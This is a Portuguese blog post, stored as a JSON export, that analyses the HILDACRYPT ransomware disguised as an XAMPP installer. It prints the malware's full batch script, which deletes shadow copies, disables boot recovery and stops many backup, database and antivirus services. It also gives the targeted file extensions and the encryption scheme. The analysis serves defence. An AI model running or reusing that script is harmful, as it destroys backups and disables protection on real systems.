{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/pt\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT: um novo ransomware ataca sistemas de backup e solu\u00e7\u00f5es antiv\u00edrus","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Ol\u00e1, Habr! Estamos de volta para falar sobre as \u00faltimas vers\u00f5es de malware da categoria Ransomware. HILDACRYPT \u00e9 um novo ransomware, parte da fam\u00edlia Hilda, descoberta em agosto de 2019, nomeada em homenagem a um desenho animado do servi\u00e7o de streaming Netflix que foi utilizado para disseminar o malware. Hoje, vamos conhecer as caracter\u00edsticas t\u00e9cnicas desse v\u00edrus ransomware atualizado.<\/p>\n

\"HILDACRYPT:
\n<\/a><\/noindex>
\nNa primeira vers\u00e3o dos ransomwares Hilda, havia um link para um v\u00eddeo hospedado no Youtube trailer<\/a><\/noindex> da s\u00e9rie animada contido na carta de resgate. HILDACRYPT se disfar\u00e7a como um instalador leg\u00edtimo do XAMPP \u2014 uma distribui\u00e7\u00e3o Apache f\u00e1cil de instalar que inclui MariaDB, PHP e Perl. Al\u00e9m disso, o arquivo do ransomware tem um nome diferente \u2014 xamp. Al\u00e9m disso, o arquivo do programa ransomware n\u00e3o possui assinatura digital.<\/p>\n

An\u00e1lise est\u00e1tica<\/h3>\n

\nO ransomware est\u00e1 contido em um arquivo PE32 .NET, escrito para MS Windows. Seu tamanho \u00e9 de 135.168 bytes. Tanto o c\u00f3digo principal quanto o c\u00f3digo do programa protetor s\u00e3o escritos em C#. De acordo com a marca de data e hora da compila\u00e7\u00e3o, o arquivo bin\u00e1rio foi criado em 14 de setembro de 2019.<\/p>\n

\"HILDACRYPT:
\n
\nDe acordo com o Detect It Easy, o ransomware foi compactado usando Confuser e ConfuserEx, mas esses ofuscadores s\u00e3o os mesmos de antes, apenas o ConfuserEx \u00e9 o sucessor do Confuser, ent\u00e3o as assinaturas de seus c\u00f3digos s\u00e3o semelhantes. <\/p>\n

\"HILDACRYPT:
\n
\nHILDACRYPT realmente est\u00e1 empacotado usando o ConfuserEx. <\/p>\n

\"HILDACRYPT:
\n
\nSHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Vetor de ataque<\/h3>\n

\nProvavelmente, o ransomware foi descoberto em um dos sites dedicados \u00e0 programa\u00e7\u00e3o web, disfar\u00e7ando-se como um programa leg\u00edtimo do XAMPP.<\/p>\n

Toda a cadeia de infec\u00e7\u00e3o pode ser vista em app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Ofusca\u00e7\u00e3o <\/h3>\n

\nAs linhas do ransomware s\u00e3o armazenadas em formato criptografado. Ao ser executado, o HILDACRYPT as descriptografa usando Base64 e AES-256-CBC.<\/p>\n

\"HILDACRYPT:
\n<\/p>\n

Instala\u00e7\u00e3o<\/h3>\n

\nPrimeiro, o ransomware cria uma pasta em %AppDataRoaming% com um par\u00e2metro GUID (Identificador \u00danico Global) gerado aleatoriamente. Adicionando um arquivo bat a esse local, o ransomware o executa usando cmd.exe:<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT:\"HILDACRYPT:
\nEm seguida, ele come\u00e7a a executar um script em lote para desativar fun\u00e7\u00f5es ou servi\u00e7os do sistema.<\/p>\n

\"HILDACRYPT:
\n
\nO script cont\u00e9m uma longa lista de comandos que destroem c\u00f3pias sombra, desativam o servidor SQL, backup e solu\u00e7\u00f5es antiv\u00edrus.<\/p>\n

Por exemplo, ele tenta sem sucesso interromper os servi\u00e7os de backup do Acronis Backup. Al\u00e9m disso, ataca os sistemas de backup e solu\u00e7\u00f5es antiv\u00edrus dos seguintes fornecedores: Veeam, Sophos, Kaspersky, McAfee e outros.<\/p>\n

@echo off\n:: N\u00e3o sou realmente f\u00e3 de p\u00f4neis, garotas de desenho animado s\u00e3o melhores, n\u00e3o acha?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=ilimitado\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=ilimitado\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=ilimitado\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=ilimitado\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=ilimitado\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=ilimitado\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\nnet stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nDepois que os servi\u00e7os e processos mencionados acima s\u00e3o desligados, o criptolocker coleta informa\u00e7\u00f5es sobre todos os processos em execu\u00e7\u00e3o usando o comando tasklist para garantir que todos os servi\u00e7os necess\u00e1rios n\u00e3o estejam funcionando. 
\ntasklist v \/fo csv<\/i><\/p>\n
Esse comando gera uma lista detalhada dos processos em execu\u00e7\u00e3o, cujos elementos s\u00e3o separados por v\u00edrgulas. 
\n\u00abcsrss.exe\u00bb,\u00ab448\u00bb,\u00abservi\u00e7os\u00bb,\u00ab0\u00bb,\u00ab1.896\u00bb,\u00abdesconhecido\u00bb,\u00ab0:00:03\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT:
\n
\nAp\u00f3s essa verifica\u00e7\u00e3o, o ransomware inicia o processo de criptografia. <\/p>\n
Criptografia 
\n<\/h3>\n
Criptografia de arquivos<\/h4>\n
\nO HILDACRYPT percorre todo o conte\u00fado encontrado nos discos r\u00edgidos, exceto nas pastas Recycle.Bin e Reference AssembliesMicrosoft. A \u00faltima cont\u00e9m arquivos dll, pdb, entre outros, que s\u00e3o cr\u00edticos para o funcionamento dos aplicativos .Net, podendo afetar a opera\u00e7\u00e3o do ransomware. Para encontrar os arquivos a serem criptografados, \u00e9 utilizada a seguinte lista de extens\u00f5es:<\/p>\n
.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md
\n<\/i>
\nPara a criptografia dos arquivos do usu\u00e1rio, o ransomware utiliza o algoritmo AES-256-CBC. O tamanho da chave \u00e9 de 256 bits, enquanto o tamanho do vetor de inicializa\u00e7\u00e3o (IV) \u00e9 de 16 bytes. <\/p>\n
\"HILDACRYPT:
\n
\nNa captura de tela a seguir, os valores byte_2 e byte_1 foram obtidos aleatoriamente com o uso de GetBytes(). <\/p>\n
\"HILDACRYPT:
\n
\nChave<\/p>\n
\"HILDACRYPT:
\n
\nVI<\/p>\n
\"HILDACRYPT:
\n
\nUm arquivo criptografado tem a extens\u00e3o HCY!.. Este \u00e9 um exemplo de um arquivo criptografado. Para este arquivo foram gerados uma chave e um IV, mencionados acima. <\/p>\n
\"HILDACRYPT:
\n<\/p>\n
Criptografia de chaves<\/h4>\n
\nO cryptolocker salva a chave AES gerada em um arquivo criptografado. A primeira parte do arquivo criptografado tem um cabe\u00e7alho que cont\u00e9m dados como HILDACRYPT, KEY, IV, FileLen no formato XML, e se parece com isto:<\/p>\n
\"HILDACRYPT:
\n
\nA criptografia da chave AES e do IV \u00e9 realizada com RSA-2048, e a codifica\u00e7\u00e3o \u00e9 feita usando Base64. A chave p\u00fablica RSA \u00e9 armazenada no corpo do cryptolocker em uma das linhas criptografadas no formato XML.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Para criptografar a chave do arquivo AES, usa-se a chave p\u00fablica RSA. A chave p\u00fablica RSA \u00e9 codificada com Base64 e consiste no m\u00f3dulo e na expoente p\u00fablica 65537. Para a descriptografia, \u00e9 necess\u00e1ria a chave privada RSA, que est\u00e1 com o criminoso.<\/p>\n
Ap\u00f3s a criptografia RSA, a chave AES \u00e9 codificada usando Base64, que \u00e9 salva no arquivo criptografado.<\/p>\n
Mensagem de resgate<\/h3>\n
\nAp\u00f3s a criptografia, o HILDACRYPT grava um arquivo html na pasta onde encriptou os arquivos. A notifica\u00e7\u00e3o do ransomware cont\u00e9m dois endere\u00e7os de e-mail onde a v\u00edtima pode contatar o criminoso.<\/p>\n